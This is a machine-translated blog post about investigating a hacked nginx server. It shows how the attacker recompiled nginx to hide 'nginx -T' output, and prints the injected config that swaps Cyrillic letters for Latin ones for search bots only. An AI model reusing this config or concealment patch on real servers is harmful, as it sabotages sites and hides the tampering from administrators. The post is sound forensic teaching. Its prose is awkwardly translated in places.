Wann 'a' net gläich ass wéi 'a'. Am Laf vun engem Hack

Eng stäerkste désagréabel Geschicht ass mat engem vu menge Frënn geschitt. Awer sou désagréabel wéi et fir de Mikhail erausgestallt gouf, war et fir mech grad esou begeeschtert.

Ech muss soen, datt mäi Frënd ganz ass UNIX-Benotzer: kann de System selwer installéieren MySQL, PHP an einfach Astellunge maachen nginx.
An hien huet eng Dosen oder annerhallef Websäite fir Bauinstrumenter gewidmet.

Ee vun dëse Site gewidmet fir Kettensägen ass fest an der TOP vun de Sichmotoren. Dëse Site ass en net-kommerziellen Rezensor, awer een huet d'Gewunnecht et z'attackéieren. Dat drun deelhuelen, dann brute Kraaft, da schreiwen se obszön Kommentaren a schécken Mëssbrauch un d'Hosting an d'RKN.
Op eemol ass alles berouegt an dës Rou huet sech als net gutt erausgestallt, an de Site huet ugefaang d'Toplinne vun de Sichresultater lues a lues ze verloossen.

Wann 'a' net gläich ass wéi 'a'. Am Laf vun engem Hack

Dat war e Spréchwuert, dann d'Geschicht vum Admin selwer.

Et war no Schlofzäit wéi den Telefon geklappt huet: "San, wäerts de net op mäi Server kucken? Et schéngt mir datt ech gehackt gouf, ech kann et net beweisen, awer d'Gefill huet mech net fir déi drëtt Woch verlooss. Vläicht ass et just Zäit fir mech Behandlung fir Paranoia ze kréien?

Wat duerno war eng hallef Stonn Diskussioun déi wéi follegt zesummegefaasst ka ginn:

  • de Buedem fir Hacking war zimlech fruchtbar;
  • en Ugräifer kéint Superuser Rechter gewannen;
  • d'Attack (wann et stattfonnt huet) gouf speziell op dësem Site gezielt;
  • Problemberäicher goufen korrigéiert an Dir musst just verstoen ob et eng Pénétratioun war;
  • den Hack konnt net de Site Code an Datenbanken Afloss.

Wat de leschte Punkt ugeet.

Wann 'a' net gläich ass wéi 'a'. Am Laf vun engem Hack

Nëmmen déi wäiss Frontend IP kuckt an d'Welt. Et gëtt keen Austausch tëscht de Backends an dem Frontend ausser http(en), d'Benotzer/Passwierder sinn ënnerschiddlech, keng Schlësselen goufen ausgetauscht. Pa gro Adressen sinn all Häfen ausser 80/443 zougemaach. Wäiss Backend IPs sinn nëmme fir zwee Benotzer bekannt, déi de Mikhail komplett vertraut.

Installéiert op de Frontend Debian 9 a wann den Uruff gemaach gëtt, gëtt de System vun der Welt duerch eng extern Firewall isoléiert a gestoppt.

"Ok, gitt mir Zougang," Ech decidéiert de Schlof fir eng Stonn auszesetzen. "Ech wäert mat mengen eegenen Ae gesinn."

Hei a weider:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Sich no engem méiglechen Hack

Ech starten de Server, éischt an Rettungsmodus. Ech montéieren d'Disks a flippen duerch se aut-Logbicher, Geschicht, System Logbicher, etc., wa méiglech, kontrolléieren ech d'Datume vun der Schafung vun der Datei, obwuel ech verstinn datt e normale Cracker no sech selwer "opgehuewe" hätt, an de Misha scho vill "getrëppelt" wärend hie sech selwer gesicht huet .

Ech fänken am normale Modus un, verstinn nach net wierklech wat ech sichen, ech studéieren d'Konfiguratiounen. Éischt vun all, ech interesséiert nginx zënter, am Allgemengen, do ass näischt anescht op der frontend ausser et.
D'Konfiguratioune si kleng, gutt strukturéiert an eng Dosen Dateien, ech kucken just duerch kat'oh een nom aneren. Alles schéngt propper ze sinn, awer Dir wësst ni ob ech eppes verpasst hunn gehéiert, loosst mech eng komplett Lëscht maachen:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Ech hunn net verstanen: "Wou ass d'Lëscht?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Eng zweet Fro gëtt zu der Oplëschtungsfro bäigefüügt: "Firwat sou eng antik Versioun vum nginx?"

Zousätzlech mengt de System datt déi lescht Versioun installéiert ass:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Ech ruffen un:
- Misha, firwat hutt Dir erëm zesummegesat nginx?
- Waart, ech weess net emol wéi ech dat maachen!
- Ok, gutt, schlofen ...

Nginx et ass kloer nei opgebaut an d'Ausgab vun der Oplëschtung mat "-T" ass aus engem Grond verstoppt. Et gëtt keng Zweifel méi iwwer Hacking an Dir kënnt et einfach akzeptéieren an (well de Misha de Server souwisou duerch en neien ersat huet) de Problem als geléist betruechten.

An zwar well een d'Rechter krut root'ah, dann mécht et nëmme Sënn ze maachen System nei installéieren, an et war nëtzlos fir ze sichen wat do falsch war, awer dës Kéier huet d'Kuriositéit de Schlof besiegt. Wéi kënne mir erausfannen wat se vun eis wollten verstoppen?

Loosst eis probéieren ze verfollegen:

$ strace nginx -T

Mir kucken et, et sinn kloer net genuch Linnen an der Spuer a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Just fir Spaass, loosst eis d'Resultater vergläichen.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Ech mengen en Deel vum Code /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

gouf op d'Form bruecht:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

oder

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

dofir gëtt d'Lëscht vun "-T" net ugewisen.

Awer wéi kënne mir eis Configuratioun kucken?

Wann meng Gedanken richteg ass an de Problem nëmmen an der Variabel ass ngx_dump_config loosst eis probéieren et ze installéieren benotzt gdb, Glécklecherweis gëtt et e Schlëssel --mat-cc-opt -g presentéieren an hoffen dass Optimisatioun -O2 et wäert eis net schueden. Zur selwechter Zäit, well ech weess net wéi ngx_dump_config kéint veraarbecht ginn Fall 'T':, Mir wäerten dëse Block net nennen, awer installéiere se mat Fall 't':

Firwat kënnt Dir '-t' wéi och '-T' benotzenBlock Veraarbechtung wann (ngx_dump_config) geschitt bannen wann (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Natierlech, wann de Code an dësem Deel geännert gëtt an net an Fall 'T':, da funktionnéiert meng Method net.

Test nginx.confNodeems de Problem schonn experimentell geléist gouf, gouf festgestallt datt eng Mindestkonfiguratioun erfuerderlech ass fir datt d'Malware funktionnéiert nginx Typ:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Mir wäerten et fir Kuerzegkeet am Artikel benotzen.

Debugger starten

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

An de Schrëtt:

  • e Breakpunkt an der Funktioun setzen Haapt ()
  • de Programm lafen
  • änneren de Wäert vun der Variabel, déi den Ausgang vun der Configuratioun bestëmmt ngx_dump_config=1
  • weider / Enn vum Programm

Wéi mir kënne gesinn, ënnerscheet déi richteg Configuratioun vun eisem, mir wielt e parasitärt Stéck dovun:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Loosst eis kucken wat hei an Uerdnung geschitt.

Sinn bestëmmt Benotzer Agent's yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Service Säiten sinn ausgeschloss Vergaangenheet:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

A fir déi, déi ënner béiden uewe Konditioune falen

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

am Text HTML-Säiten änneren 'O' op 'o' и 'A' op 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Dat ass richteg, déi eenzeg Subtilitéit ass dat 'a' ! = 'a' genau wéi 'o' ! = 'o':

Wann 'a' net gläich ass wéi 'a'. Am Laf vun engem Hack

Also kréien d'Sichmaschinn Bots, amplaz vun normalen 100% kyrilleschen Text, geännerten Gerempels verdünnt mat Latäin 'a' и 'o'. Ech getraut net ze diskutéieren wéi dëst SEO beaflosst, awer et ass onwahrscheinlech datt sou e Jumble vu Bréiwer e positiven Impakt op Positiounen an de Sichresultater hunn.

Wat kann ech soen, Kärelen mat Phantasie.

Referenze

Debugging mat GDB
gdb(1) - Linux Mann Säit
strace(1) - Linux Mann Säit
Nginx - Modul ngx_http_sub_module
Iwwer Seeën, Kettensägen an elektresch Seeën

Source: will.com

Setzt e Commentaire